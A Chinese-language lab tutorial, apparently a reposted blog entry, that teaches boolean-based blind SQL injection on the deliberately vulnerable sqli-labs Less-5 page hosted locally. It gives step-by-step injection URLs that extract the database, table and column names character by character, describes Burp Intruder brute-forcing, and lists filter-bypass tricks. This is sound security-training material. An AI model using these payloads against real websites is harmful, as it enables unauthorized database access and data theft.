zoukankan      html  css  js  c++  java
  • SQL盲注学习-布尔型

      本次实验还是使用sqli-labs环境。在开始SQL盲注之前首先学习一下盲注需要用到的基础语法。

      1、left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分。

      left(a,b) 从左边截取a的b位 

      我们在命令行使用sqli-labs数据库实验一下,首先使用security数据库,然后对数据库名第一个字符进行查询,找到了第一个字母s

    判断数据库第一位是否为s,加入判断语句=‘s’,看到结果返回1,说明当去数据库第一个字母为s

     *没有使用数据库时结果返回为空

      2、regexp函数:REGEXP在mysql是用来执行正则表达式的一个函数

      select user()  regexp ’root’    查询当前用户是否为root,regexp为匹配root的正则表达式

      

      查看当前数据库是否存在ri

      

       3、like函数:LIKE通常与通配符%一起使用,%表示通配pattern中出现的内容,而不加通配符%的LIKE语法,表示精确匹配,其实际效果等同于 = 等于运算符

       select user() like ‘ro%’       查询当前用户是否为ro开头,可以看出当前用户是ro开头

     

      使用like精准查询,这里可以看到使用like查询当前用户是否为root,结果为假,这是为什么呢?

      

      因为我当前用户名为root@localhost

      

      再次使用like精准查询当前用户,就返回了正确结果

      

      4、substr函数:sbustr函数是用来截取字符串长度的函数。

      substr(a,b,c),就是从位置b开始截取a字符串的c位长度

      

      判断当前数据库第一个字母是否为s

      

      判断前4位是否为secu

      

      5、ascii() 函数:查看字符/数字/符号的ascii码

      查询字母的ascii码 select ascii(‘c’)

       

       查询数字的ascii码 select ascii(1)

      

      查询符号的ascii码

      

       

      6、python使用chr()将ascii码转换为对应字符,使用ord()将字符转换为ascii码

      

      接下来进行试验,打开sqli-labs第五关

      1、首先判断注入点 http://localhost:8088/sqli-labs/Less-5/?id=1,返回正常页面

     

       输入http://localhost:8088/sqli-labs/Less-5/?id=1',页面报错说明存在注入点

      

      2、使用order by猜列数,在order by 4时页面报错,说明存在3个列。

      

      3、使用length函数查询数据库名长度直到找到正确的为止

    http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+

    http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+

    http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+

    http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+

     

     也可以使用Burp Suite抓包对长度进行爆破

    得到了数据库长度为8位

       4、对数据库名进行猜解

      判断数据库的第一位开始一个字符的ascii是否大于100

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+      结果返回正确

     判断是否小于200  

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+        页面显示为空

     不断缩小范围ascii范围

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+        页面显示为空

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        页面显示为空

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        页面显示为空

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+        结果返回正确

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+        页面显示为空

      不断尝试后找到数据库第一位的ascii码为115

      使用python查询ascii码115对应的字符为s

      

      修改substr参数查询第二字符,不断尝试找到其ascii为101

      http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+

      使用python得到第二字段为e

      

      由于刚刚已经才接到数据库名字长度为八个字符,所以需要破解到到第八位,就可以得到当前数据库名字了。

      5、接下来开始猜解表

      首先查看security数据库中表的数量,发现有四个表

      localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+                   页面显示为空

      localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+                   页面显示为空

      localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+                   页面显示为空

      localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+                   结果返回正确

      使用length函数查询第一个表字段数:

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+

      使用ascii对第一个表的第一个字符进行猜解最终得到其ascii码为101

      localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

    使用python得到字符为e

     

     依次对六个字符进行猜解,得到数据表名为emails,看上去应该是邮件,不是我们想要的内容,接下来可以进行破解第二个表长度以及猜解名称这里不做演示,直到得到全部4个数据表名称emails、 referers 、uagents、users。接下来对users表进行猜解

      6、猜解数据

     首先判断列数,得到了一共有三个列。

     localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+

     localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+

     localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+

      接下来对第一列表名的长度进行查询

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+  

      localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+

       使用ascii方法猜解第一个列第一个字符,得到105,第一个字符为i

      localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+    猜解第一列i 

     

      修改substr函数,第二个参数,对第二个字符进行猜解,ascii码117,得到字符d

      localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+    猜解第一列d

     

     

     接下来步骤类似,对其余数据进行猜解就可以了。

       

    这是ASCII码中所有可以显示的字符,可以作为猜解的ASCII数值应该就是32-126,所以是不是只要把阈值范围内的数值做成一个字典直接跑就行了呢?

    使用这个Payload试一下:

    localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+

    Burp Suite抓取数据包,提交到Intruder,将数值添加为变量,然后加载32-126的字典

     跑一下康康,成功得到了正确的ASCII码,

     

    然后使用left方法试一下,使用left函数判断当前数据库名字的左边第一位是否为字符1,页面显示任何信息所以结果为不是

    localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+

    现在我们遍历所有可以输入的字符爆破数据库的第一个字符,实验一下,果然成功遍历出了正确的字符S,但是大小写S都可以成功,那么s的ASCII为115而S的ASCII为83,为什么使用ASCII遍历时候可以成功呢?

     

    下面可以看到security数据库的第一字符为s

     查看ASCII码

     然后判断一下其ASCII码是否为115

     那么判断它是否为83

      

     结果为否。

    所以我觉得原因可能是因为用户在创建数据库时侯使用的时小写的security所以这个数据被记录在数据库中,在盲注时使用ASCII方法猜解到了数据库所存储的小写security信息,而由于数据库本身时不区分大小写的,所以当我们查询时使用大写小写均可以查询到该数据库。就导致了爆破时s/S均可以爆破成功。

      接下来使用left方法对数据库名其余字符进行爆破,修改left的参数为2,使查询一次返回两个字符,然后将正确的第一个输入对第二个字符进行爆破,得到正确的两个字符

     这样的话用left进行猜解,字典可以减少26个字母。

    一些简单盲注绕过过滤方法

    一、=被过滤

    1、可以使用通配符like或者REGEXP

    比如想要查询id为8的数据一般会使用select * from users where id=8;

     

     等于被过滤的话可以使用

     

     或者<、>

     或者不不等于

    使用between

     

    二、引号被过滤

     使用十六进制

     

     

    三、逗号被过滤

    substr('abc',1,1)

    limit 5,1

  • 相关阅读:
    实战 | 使用maven 轻松重构项目
    分布式架构高可用与高并发那些在工作中常用到的那些变态应用
    操作系统的那些灵魂概念,你弄懂了几个?
    应该没人比我更细了吧:带你深入剖析Redis分布式锁!
    我把 Spring Cloud 给拆了!带你详细了解各组件原理!
    深入浅出MySQL灵魂十连问,你真的有把握吗?
    领统Java并发半壁江山的AQS你真的懂了吗?
    不会数据结构?24张图让你彻底弄懂它,还不会你来打我!
    你了解Spring事务传播行为吗?多个方法之间调用事务如何传播?
    深入学习:三分钟快速教会你编写线程安全代码!
  • 原文地址:https://www.cnblogs.com/hai-long/p/11847663.html
Copyright © 2011-2022 走看看